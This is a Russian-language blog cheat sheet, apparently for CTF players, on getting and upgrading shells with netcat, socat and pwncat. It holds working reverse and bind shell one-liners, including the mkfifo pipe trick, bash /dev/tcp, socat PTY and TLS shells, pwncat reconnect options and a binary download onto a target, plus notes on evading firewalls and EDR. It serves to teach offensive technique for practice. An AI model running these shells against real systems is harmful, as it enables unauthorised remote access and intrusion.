Главная / Блог / Netcat, socat и pwncat в CTF: шпаргалка по шеллам с рабочими командами

14 мин.00

Netcat, socat и pwncat в CTF: шпаргалка по шеллам с рабочими командами

Netcat, socat и pwncat в CTF: шпаргалка по шеллам с рабочими командами

Netcat, socat и pwncat в CTF: шпаргалка по шеллам с рабочими командами

Эксплойт переполнения буфера отработал за тридцать секунд, а стабильный интерактивный шелл я поднимал ещё пятнадцать минут — на целевой машине стоял OpenBSD-netcat без флага -e, Ctrl+C убивал соединение, и даже cat выводил текст без переноса строк. Знакомая картина для CTF-задач из категорий pwn и misc: RCE получен, а полноценного доступа нет. Эта шпаргалка по netcat, socat и pwncat разбирает три сетевые утилиты CTF через конкретные сценарии — какой инструмент запускать первым, когда переключаться на следующий и почему named pipes решают главную проблему с OpenBSD-версией nc.

Reverse shell и bind shell — кто куда подключается

Прежде чем набирать любую команду, разберитесь с разницей между двумя типами шеллов. Путаница здесь — самая частая причина «а почему не подключается» у тех, кто только начинает решать CTF-задачи с шеллами.

Bind shell — целевая машина открывает порт и ждёт входящего подключения. Вы, как атакующий, подключаетесь к этому порту. Проблема: файрвол на целевой машине почти всегда блокирует входящие соединения. В CTF bind shell работает, когда задача специально оставляет порт открытым, но на реальном пентесте (особенно внешнем) это почти никогда не проходит через NAT и firewall.

Reverse shell — целевая машина сама инициирует исходящее подключение к вам. Вы заранее запускаете nc listener на своей машине и ждёте. Почему это работает чаще: исходящий трафик редко фильтруется так же строго, как входящий. Согласно описанию техники от Invicti, reverse shell — стандартный post-exploitation приём именно потому, что «outgoing connections are rarely as tightly restricted, even when inbound access is blocked by firewalls, NAT, or containerized environments».

Простая мнемоника: bind shell — жертва слушает, атакующий подключается. Reverse shell — атакующий слушает, жертва подключается. Не уверены, что выбрать? Начинайте с reverse shell.

Место в цепочке атаки

В терминологии MITRE ATT&CK получение шелла — это пересечение тактик Execution (T1059.004 — Unix Shell) и Command and Control (T1095 — Non-Application Layer Protocol). Полная цепочка:

  1. Initial Access — нашли уязвимость (RCE, command injection, file upload)
  2. Execution — выполнили payload, получили однострочный вывод
  3. Foothold — подняли стабильный reverse/bind shell — именно здесь работают netcat, socat, pwncat
  4. Post-Exploitation — enumerate, privesc, lateral movement
  5. Exfiltration (T1041 — Exfiltration Over C2 Channel) — извлечение данных через установленный канал

Без стабильного шелла на третьем шаге дальше двигаться невозможно — ни LinPEAS для поиска путей повышения привилегий не запустить, ни файлы на целевую машину не передать (T1105 — Ingress Tool Transfer).

Требования к окружению

  • ОС: Linux (Kali рекомендуется, Ubuntu/Debian подойдут). macOS — с ограничениями (socat через brew install socat). Windows — только через WSL2
  • RAM: минимум 2 ГБ (все инструменты работают в CLI и почти не потребляют ресурсов)
  • Сеть: TCP-связность между двумя машинами. Для локальной практики — два терминала на одной машине, вместо удалённого IP используйте 127.0.0.1
  • Netcat: предустановлен в большинстве Linux-дистрибутивов (проверьте: which nc или which ncat). Socat: sudo apt install socat. pwncat (cytopia): pip install pwncat (для calebstewart/pwncat — pip install pwncat-cs)
  • Права: root не требуется для listener на портах выше 1024

Netcat: команды для CTF-шеллов

Netcat существует в нескольких реализациях, и вот тут начинается весёлая жизнь. GNU Netcat поддерживает -e, OpenBSD Netcat (стоит по умолчанию в Ubuntu/Debian) — нет, а Nmap Ncat — это расширенная версия с SSL. Все три активно поддерживаются в составе своих проектов. Различие между ними — главный источник головной боли у новичков, и русскоязычные материалы этот момент практически не объясняют.

Проверить, что стоит у вас: nc -h 2>&1 | head -3. Видите в выводе «OpenBSD netcat»? Значит флаг -e недоступен, и прямая команда netcat шелл через -e /bin/sh не сработает. Не паникуйте — обход есть, и он простой.

Reverse shell через netcat

На стороне атакующего запускаете nc listener: nc -lnvp 4444. Разберём каждый флаг: -l — listen mode (ждать подключения), -n — без DNS-резолва (быстрее), -v — verbose (показывает входящие подключения), -p 4444 — порт для прослушивания.

На стороне жертвы команда зависит от версии:

Версия nc Команда на жертве Примечание
GNU netcat nc -e /bin/sh 10.0.0.1 4444 Флаг -e передаёт stdin/stdout в указанную программу
Nmap ncat ncat -e /bin/sh 10.0.0.1 4444 Аналогичный синтаксис
OpenBSD netcat Напрямую не работает Нужен обход через named pipes (ниже)

[Применимо: CTF-задачи, внутренний пентест. На внешнем пентесте порт 4444 почти всегда фильтруется — используйте 80 или 443, которые обычно разрешены для исходящего трафика.]

Bind shell: команды и когда использовать

Иногда reverse shell невозможен — у атакующего нет публичного IP, или сеть CTF-площадки не маршрутизирует исходящий трафик с целевой машины. Тогда на целевой машине запускаете bind shell: nc -lnvp 8080 -e /bin/sh (GNU netcat), а со своей стороны подключаетесь: nc -nv 192.168.1.100 8080.

Ограничение bind shell в CTF: открытый порт виден всем участникам. В многопользовательских соревнованиях (где несколько команд атакуют одну машину) другая команда может подключиться к вашему шеллу раньше вас. Ещё один минус — если на целевой машине включён firewall, входящее подключение на нестандартный порт будет заблокировано.

OpenBSD netcat — обход отсутствия nc -e

Самый частый вопрос в CTF-чатах: «почему nc -e выдаёт ошибку?» OpenBSD-версия принципиально не поддерживает -e и -c по соображениям безопасности. Обход — через named pipe (именованный канал FIFO). Работает на любой UNIX-системе, где есть mkfifo:

rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4444 > /tmp/f

Что здесь происходит: mkfifo /tmp/f создаёт именованный канал — специальный файл, который работает как труба между процессами. cat /tmp/f читает из этого канала и передаёт прочитанное в /bin/sh -i (интерактивный шелл). Вывод шелла через 2>&1 (stderr + stdout) уходит в nc, который отправляет его атакующему. Ответ атакующего возвращается через nc обратно в файл /tmp/f — замкнутый цикл. rm /tmp/f в начале удаляет остатки от предыдущих попыток.

Эта конструкция из коллекции PayloadsAllTheThings (Reverse Shell Cheat Sheet от SwisskyRepo на GitHub) — проверенный рабочий вариант, который закрывает проблему отсутствия -e на любой Linux-системе.

Ещё вариант для bash (без named pipes): bash -i >& /dev/tcp/10.0.0.1/4242 0>&1. Тут используется встроенная в bash фича network redirection через /dev/tcp/<host>/<port>, и не нужен ни netcat, ни mkfifo. Минус: работает только в bash (не в sh, dash или zsh), и в некоторых дистрибутивах bash собран без поддержки net redirections. Проверка: bash -c "cat < /dev/tcp/127.0.0.1/22".

Socat: примеры использования для reverse shell и PTY

Socat — «socket cat» — умеет сильно больше netcat, но требует отдельной установки: sudo apt install socat на Debian/Ubuntu. Проект активно поддерживается и лежит в стандартных репозиториях всех основных Linux-дистрибутивов. Два главных преимущества socat для CTF: нативная поддержка PTY (псевдотерминала) и TLS-шифрование прямо из коробки.

Reverse shell с PTY через socat

Обычный reverse shell через netcat — это raw TCP-поток: нет автодополнения по Tab, нет истории команд, Ctrl+C убивает соединение вместо текущего процесса, а vim и nano работают криво или не работают вовсе. Socat решает все эти проблемы, создавая полноценный PTY-терминал:

# Атакующий (listener с PTY)
socat -d -d TCP-LISTEN:4242,reuseaddr file:`tty`,raw,echo=0
# Жертва (подключение с PTY)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

Разберём параметры на стороне жертвы: exec:'bash -li' запускает bash в интерактивном login-режиме, pty выделяет псевдотерминал, stderr перенаправляет поток ошибок, setsid создаёт новую сессию процесса, sigint — корректная обработка Ctrl+C, sane устанавливает нормальные настройки терминала. Результат — полноценный интерактивный шелл с Tab-completion, историей команд и корректной работой текстовых редакторов.

Ограничение: socat должен стоять на обеих сторонах — и у вас, и на целевой машине. Если на цели socat нет, можно загрузить статический бинарь. По информации из PayloadsAllTheThings, статические сборки socat для Linux x86_64 доступны в репозитории andrew-d/static-binaries на GitHub: wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat. Загрузка возможна, только если есть запись в файловую систему и исходящий доступ по HTTP.

[Применимо: CTF-задачи любого типа, внутренний пентест. На внешнем пентесте — если socat доступен на цели.]

Шифрование канала через socat TLS

В CTF-задачах шифрование обычно не нужно — трафик идёт по внутренней сети. Но на реальном пентесте незашифрованный socat reverse shell — это индикатор компрометации (IoC), который IDS/IPS перехватит и разберёт по косточкам. Socat позволяет обернуть трафик в TLS.

Подготовка на стороне атакующего: генерация самоподписанного сертификата командой openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt, затем объединение файлов cat shell.key shell.crt > shell.pem.

Listener с TLS: socat OPENSSL-LISTEN:4443,cert=shell.pem,verify=0,fork file:``tty``,raw,echo=0. На стороне жертвы: socat OPENSSL:10.0.0.1:4443,verify=0 exec:'bash -li',pty,stderr,setsid,sigint,sane. Параметр verify=0 отключает проверку сертификата — для self-signed это нормально, цель не в доверии к CA, а в шифровании потока данных.

Такой канал маппится на T1572 (Protocol Tunneling) по MITRE ATT&CK — трафик обёрнут в легитимный протокол, что затрудняет анализ содержимого на сетевых устройствах.

pwncat — инструмент для автоматизации шеллов

В русскоязычных материалах pwncat инструмент упоминают как «netcat на стероидах», но без важного уточнения: под этим именем живут два совершенно разных проекта с разными задачами, и их постоянно путают.

Первый — cytopia/pwncat (GitHub: cytopia/pwncat) — лёгкий standalone-инструмент в стиле netcat. Написан на чистом Python без внешних зависимостей. Что из него полезно для CTF:

Автореконнект — если Ctrl+C случайно прервал соединение, reverse shell автоматически переподключается к вашему listener. Запуск на жертве: pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1. Это решает одну из самых бесящих проблем при работе с обычным netcat.

Self-inject — при получении базового reverse shell через listener pwncat автоматически выполняет на жертве команду, поднимающую дополнительные параллельные reverse shell-сессии. Это страховка от потери основного канала, а не «неубиваемый» шелл. Listener: pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445. Можно запустить сразу несколько сессий: --self-inject /bin/sh:10.0.0.1:4444-4446 задаст round-robin по портам 4444, 4445 и 4446 для обхода EGRESS-фильтрации.

Обход файрволов — обёртка трафика в HTTP/HTTPS через флаги --http и --https (T1071.001 — Web Protocols), round-robin по портам для обхода EGRESS-фильтрации.

Встроенный порт-сканер — без необходимости тащить nmap: pwncat -z 10.0.0.1 1-65535 --banner для TCP с определением версий сервисов, pwncat -z 10.0.0.1 80,443,8080 -u для UDP.

Bind shell с автоматическим переподключением клиентов: pwncat -l -e '/bin/bash' 8080 -k (флаг -k — keep-open, принимает новые подключения после отключения предыдущего).

calebstewart/pwncat: от шелла до привеска

Совершенно другой проект (GitHub: calebstewart/pwncat) — полноценный post-exploitation фреймворк на Python 3. Устанавливается как pip install pwncat-cs (пакет называется именно pwncat-cs, не pwncat — путаница тут гарантирована). Что умеет:

  • Автоматический поиск путей повышения привилегий через встроенный модуль privesc — команда privesc -l показывает найденные возможности, privesc -e -u root пытается эксплуатировать
  • Upload/download файлов без curl, wget или scp — передача идёт прямо через установленный шелл, что спасает, когда на целевой машине заблокированы HTTP-клиенты
  • Автоматический upgrade шелла до PTY без ручных манипуляций со stty

Автор статьи на securixy.kz описывает, что именно calebstewart/pwncat позволяет решать CTF-машины «в один проход»: эксплуатация уязвимости, получение сессии, поиск привеска, повышение привилегий — в едином workflow.

Ограничение обоих pwncat-проектов: оба требуют Python. Cytopia/pwncat — на стороне запуска (атакующий или жертва). Calebstewart/pwncat — на стороне атакующего. На минималистичных контейнерах без Python (Alpine-based Docker, embedded-системы) pwncat не запустится — остаётся netcat через named pipes.

Netcat vs socat vs pwncat — когда какой инструмент брать

Критерий netcat socat pwncat (cytopia)
Доступность на цели Предустановлен Требует установки Требует Python
PTY/интерактивный шелл Нет, ручной upgrade Нативно Частично
Шифрование трафика Нет TLS нативно HTTP/HTTPS-обёртка
Защита от Ctrl+C Нет Нет Да, автореконнект
Трансфер файлов (T1105) Через перенаправление I/O Через перенаправление I/O Встроенный (calebstewart)
Self-inject Нет Нет Да
Размер/footprint ~30 КБ ~380 КБ Python-зависимость
Детектируемость Низкая (системный бинарь) Средняя Средняя-высокая
Когда использовать Быстрый listener, первая проба Нужен PTY или шифрование Длительная работа, нужна стабильность
Когда НЕ использовать Нужен стабильный PTY Не установлен на цели Минималистичная среда без Python

Алгоритм выбора для CTF инструментов пентест-направления:

  1. Начинаете с nc -lnvp <port> — listener всегда netcat, он уже есть на машине
  2. На целевой машине nc -e работает? Используйте его для reverse shell
  3. nc -e не работает (OpenBSD)? Обход через named pipes
  4. Нужен полноценный терминал (vim, nano, Tab-completion)? Переключайтесь на socat
  5. Шелл нестабилен, нужен автореконнект или множественные сессии? pwncat (cytopia)
  6. Нужны privesc, upload/download из одного интерфейса? pwncat (calebstewart)

Upgrade шелла до интерактивного TTY

Даже получив reverse shell через netcat, вы работаете в «тупом» режиме — без PTY. Tab не дополняет, стрелки вверх/вниз печатают мусор, Ctrl+C убивает всё соединение, а vim/nano не запускаются. Стандартная последовательность upgrade — работает на любой Linux-системе с Python:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Нажмите Ctrl+Z — шелл уходит в background
stty raw -echo; fg
# Шелл вернётся в foreground с PTY
export TERM=xterm

Пошагово: pty.spawn создаёт псевдотерминал внутри TCP-соединения. Ctrl+Z приостанавливает nc-процесс на вашей машине. stty raw -echo отключает локальную обработку ввода — теперь каждое нажатие клавиши уходит напрямую в удалённый шелл. fg возвращает nc из фона. export TERM=xterm задаёт тип терминала для корректной работы curses-приложений.

Если Python отсутствует, альтернативы для создания PTY: script -qc /bin/bash /dev/null (util-linux на Linux; на BSD/macOS синтаксис другой). После script всё равно нужен backgrounding и stty raw -echo; fg для полного PTY-upgrade. Ещё варианты: python2 -c 'import pty; pty.spawn("/bin/bash")' (только на legacy-системах — Python 2 EOL с 2020 г., в современных дистрибутивах отсутствует) или /usr/bin/env expect -c 'spawn bash; interact' (если установлен expect). После upgrade подстройте размер терминала: stty rows 40 cols 120 — значения должны совпадать с реальным размером вашего окна терминала, иначе вывод длинных строк будет обрезаться или «ломаться».

При работе через socat с параметром pty этот upgrade не нужен — PTY создаётся автоматически при подключении. Это одна из главных причин, почему для длительных сессий socat предпочтительнее netcat.

Ограничения и когда инструменты не работают

Ни netcat, ни socat, ни pwncat не помогут в ряде сценариев. Понимание этих ограничений — то, что отличает решателя CTF-задач от практикующего пентестера.

Stateful firewall с DPI: если на сети стоит NGFW (Palo Alto, Fortinet, Check Point) с инспекцией трафика — даже reverse shell на порту 443 будет обнаружен. Содержимое потока не соответствует TLS-хэндшейку при использовании голого netcat. Socat с TLS частично решает проблему, но SNI и fingerprint самоподписанного сертификата могут вызвать алерт на продвинутых решениях.

EDR на целевой машине: CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint — все они детектируют запуск nc -e /bin/sh или socat exec:bash как подозрительную активность. В CTF-задачах EDR обычно отсутствует, но на реальном пентесте (внутреннем или внешнем) потребуются техники обхода, выходящие за рамки этой шпаргалки.

Сети без исходящего доступа: если целевая машина не имеет маршрута наружу (air-gapped сегмент, строгая EGRESS-фильтрация) — reverse shell физически не подключится к вашему listener. Остаётся bind shell (если входящий трафик разрешён) или DNS/ICMP-туннелирование (T1572 — Protocol Tunneling).

Минималистичные контейнеры: Docker-контейнер на базе Alpine без bash, без Python, без netcat — встречается в web-категориях CTF. Тут поможет загрузка статического бинаря (busybox nc или static socat) через уязвимость, но только если есть запись в файловую систему и исходящий HTTP.

UDP и потеря пакетов: UDP-режим socat и pwncat (-u) не гарантирует доставку. На нестабильных каналах (VPN через публичный интернет, Wi-Fi CTF-площадки) UDP-шелл будет «рваться». Для CTF используйте TCP — он надёжнее, хотя и оставляет больше следов в логах.

Минилаб для практики

Для отработки всех команд из этой netcat команды шпаргалки достаточно двух терминалов на одной машине. Откройте два окна в Kali Linux (или любом Linux с netcat и socat):

  • Терминал 1 — роль атакующего (listener)
  • Терминал 2 — роль жертвы (подключение к listener)

Вместо удалённого IP используйте 127.0.0.1. Например: в терминале 1 — nc -lnvp 4444, в терминале 2 — bash -i >& /dev/tcp/127.0.0.1/4444 0>&1. Получили шелл? Попробуйте named pipes. Потом socat с PTY. Потом upgrade через pty.spawn. Последовательное прохождение всех вариантов из статьи занимает около часа — и после этого на CTF вы будете выбирать нужную команду за секунды, а не гуглить каждый раз.

Для полноценной работы с отдельными машинами: Kali Linux VM (атакующий, 2 ГБ RAM) + Metasploitable 2 или любая уязвимая VM (жертва, 1 ГБ RAM). Обе VM в одной виртуальной сети — NAT Network или Host-Only в VirtualBox.

Три инструмента — netcat, socat, pwncat — закрывают подавляющее большинство ситуаций с захватом шелла в CTF и на начальных этапах пентеста. Дальше начинается территория, где голый reverse shell без шифрования и обфускации живёт ровно до первого алерта в SIEM. По моему опыту, новички слишком долго задерживаются на этапе «научился поднимать шелл через netcat» и не переходят к вопросу «а что делает сеть, пока я работаю в этом шелле». Именно этот переход — от механики CTF к операционной безопасности — отделяет решателя задач от пентестера. Проблема чаще не в отсутствии продвинутых знаний, а в отсутствии базы: как TCP работает на уровне ниже чем nc -lnvp, что видит firewall, что пишется в лог. Прогноз простой: через год-два CTF-платформы начнут включать EDR и сетевой мониторинг в стандартные задачи категории pwn — и тот, кто привык работать только с голым netcat без понимания детектируемости, упрётся в стену. Если хочется выстроить фундамент системно — на IB Basics показывают, что делать в первый месяц после «хочу в ИБ».

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...